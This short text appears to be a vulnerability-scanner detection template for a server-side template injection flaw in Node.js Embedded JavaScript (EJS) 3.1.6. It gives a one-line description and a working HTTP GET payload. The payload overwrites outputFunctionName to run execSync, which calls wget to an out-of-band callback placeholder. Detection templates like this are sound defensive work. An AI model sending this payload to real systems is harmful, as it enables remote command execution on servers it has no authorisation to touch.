Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1